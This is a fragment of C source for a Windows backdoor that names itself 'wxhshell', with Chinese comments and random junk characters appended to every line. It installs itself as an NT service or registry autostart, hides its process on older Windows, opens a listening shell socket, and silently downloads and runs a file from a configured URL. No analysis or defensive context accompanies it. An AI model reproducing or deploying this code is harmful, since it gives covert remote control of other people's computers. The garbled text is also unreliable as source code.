PROCNTQSIP NtQueryInformationProcess; 419x+3>}
]^Qn
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?j40}
B]]d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >[9J?H
ukIQr/k
HANDLE hProcess; o^^rJk
PROCESS_BASIC_INFORMATION pbi; GR
+[UG
z2MWN\?8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :# .<[
if(NULL == hInst ) return 0; u])b,9&En
W~zbm]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TOkp%@9/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lhYe;b(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C69q&S,
HW=C),*]cR
if (!NtQueryInformationProcess) return 0; 6eT5ktf
SLkhCR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VRI0W`
if(!hProcess) return 0; Jbjmv:db
Fgp]l2*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mp=z
W yB3ls~
CloseHandle(hProcess); ;*Ivn@L
~tBYIkvWT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {l>yi
if(hProcess==NULL) return 0; B.dH(um
.ni_p 6!
HMODULE hMod; 4(|cG7>9-
char procName[255]; 2>cGH7EBD
unsigned long cbNeeded; 5MN8D COF
+?:7O=Y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I,0q4
JBi*P.79^
CloseHandle(hProcess); V#XppYU
,{BaePMp
if(strstr(procName,"services")) return 1; // 以服务启动 b\3Oyp>
?98("T|y;
return 0; // 注册表启动 ~rDZ?~%
} lwrCpD.
,u+PyG7 cb
// 主模块 Bk*F_>X"
int StartWxhshell(LPSTR lpCmdLine) 3on7~*
{
{zn!vJX
SOCKET wsl; TM_/`a2}
BOOL val=TRUE; JBXrFC;
int port=0; v3aYc:C
struct sockaddr_in door; }q $5ig
eO?p*"p" F
if(wscfg.ws_autoins) Install(); oXb;w@:
Fx;QU)1l3
port=atoi(lpCmdLine); )6q,>whI]
#
WAZ9,t
if(port<=0) port=wscfg.ws_port; l8I /0`_
swK-/$#
WSADATA data; F({HP)9b
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fh`~`eog
]^lw*724'>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }% `.h"
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #~7ip\Uf[
door.sin_family = AF_INET; Bwa'`+bC
door.sin_addr.s_addr = inet_addr("127.0.0.1"); KVn []@#
door.sin_port = htons(port); i+p^ ^t\
J%x\=Sv
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *h'=3w:G
closesocket(wsl); 0w)^)
return 1; ~$)2s7
O
} Pb1*\+
VFRi1\G
if(listen(wsl,2) == INVALID_SOCKET) { "JlpU-8[0@
closesocket(wsl); 6^eV"&+@
return 1; t5y;CxL
} NWMFtT
Wxhshell(wsl); [R=yF ~-
WSACleanup(); 3~uW I%I`
GT0Of~?f
return 0; Jtr"NS?a]
IF44F3(V4
} L3@82yPo!
/J=v]<87a
// 以NT服务方式启动 RxI(:i?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v^#~98g]
{ j`~Ms>
DWORD status = 0; kQEy#JQmB
DWORD specificError = 0xfffffff; tasUZ#\6
BW 4%l
serviceStatus.dwServiceType = SERVICE_WIN32; 9{
>Ui
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .^h#_[dp
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U56G.
serviceStatus.dwWin32ExitCode = 0; G LIi6
serviceStatus.dwServiceSpecificExitCode = 0; aqj@Cjk4Z
serviceStatus.dwCheckPoint = 0; gk"$,\DI
serviceStatus.dwWaitHint = 0; (C@m Lu)
S7/eS)SQR
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uTKD 4yig
if (hServiceStatusHandle==0) return; 2QJ{a46}
dwDcR,z?a
status = GetLastError(); u*Pibgd<
if (status!=NO_ERROR) J|~MC7#@q
{ B56L1^7
serviceStatus.dwCurrentState = SERVICE_STOPPED; !,6c ~ w
serviceStatus.dwCheckPoint = 0; ~N<4L>y<
serviceStatus.dwWaitHint = 0; z([ v%zf
serviceStatus.dwWin32ExitCode = status; 7f0lQ
serviceStatus.dwServiceSpecificExitCode = specificError; zi]\<?\X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Low/Y'.jJ
return; s'%R
} 8W,Jh8N6
FVaQEMZ^
serviceStatus.dwCurrentState = SERVICE_RUNNING; P:k>aHnW
serviceStatus.dwCheckPoint = 0; ?zw|kl
serviceStatus.dwWaitHint = 0; #~C]ZrK
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A
Q'J9
} (9Ux{@$o[
va}Pj#=
// 处理NT服务事件,比如:启动、停止 r76J
N
VOID WINAPI NTServiceHandler(DWORD fdwControl) @ycDCB(D}
{ e=B|==E10M
switch(fdwControl) {L/ tst#C
{ ;C3US)j
case SERVICE_CONTROL_STOP: VGpWg rmHk
serviceStatus.dwWin32ExitCode = 0; O(D~_O.
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2O.i\cH
serviceStatus.dwCheckPoint = 0; E5I"%9X0H
serviceStatus.dwWaitHint = 0; 7"20hAd
{ -*
WXMzr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); DAcQz4T`
} P<X\%_Iat
return; n1ly
y0%u
case SERVICE_CONTROL_PAUSE: G9xmmc
serviceStatus.dwCurrentState = SERVICE_PAUSED; :6vm+5!
break; 4^WpS/#4
case SERVICE_CONTROL_CONTINUE: Yu)NO\3&
serviceStatus.dwCurrentState = SERVICE_RUNNING; f!I[>&n
break; psg)*'r
case SERVICE_CONTROL_INTERROGATE: >8WP0Qx/
break; ;7?kl>5]
}; |wiqGzAr{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $$Oey)*
} aMWmLpv4'
zO ).T
M_
// 标准应用程序主函数 x4;"!Kq\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?[g=F <r
{ "Zl5<
fI{&#~f4C
// 获取操作系统版本 [5G6VNh=
OsIsNt=GetOsVer(); 6p?,(
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5nT"rA
jbVECi-
// 从命令行安装 9Uj$K>:
if(strpbrk(lpCmdLine,"iI")) Install(); &PYK8}pBk3
gy#/D& N[
// 下载执行文件 QPx_-
if(wscfg.ws_downexe) { Pv_Jm
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9N@W\DT
WinExec(wscfg.ws_filenam,SW_HIDE); ,z;cbsV-{
} ]P.'>4
:=u?Fqqws
if(!OsIsNt) { xe{!wX
// 如果时win9x,隐藏进程并且设置为注册表启动 vk77B(u
HideProc(); xTj|dza
StartWxhshell(lpCmdLine); =e9>FWf>
} v!<gY
m&
else 7"sD5N/>uh
if(StartFromService()) X-6de>=
// 以服务方式启动 q"\Z-D0B4
StartServiceCtrlDispatcher(DispatchTable); 7gj4j^a^]{
else AgS7J(^&3
// 普通方式启动 wQ^EYKD
StartWxhshell(lpCmdLine); tnH2sHby
"e.jZcN*
return 0; 7
n8"/0kc:
}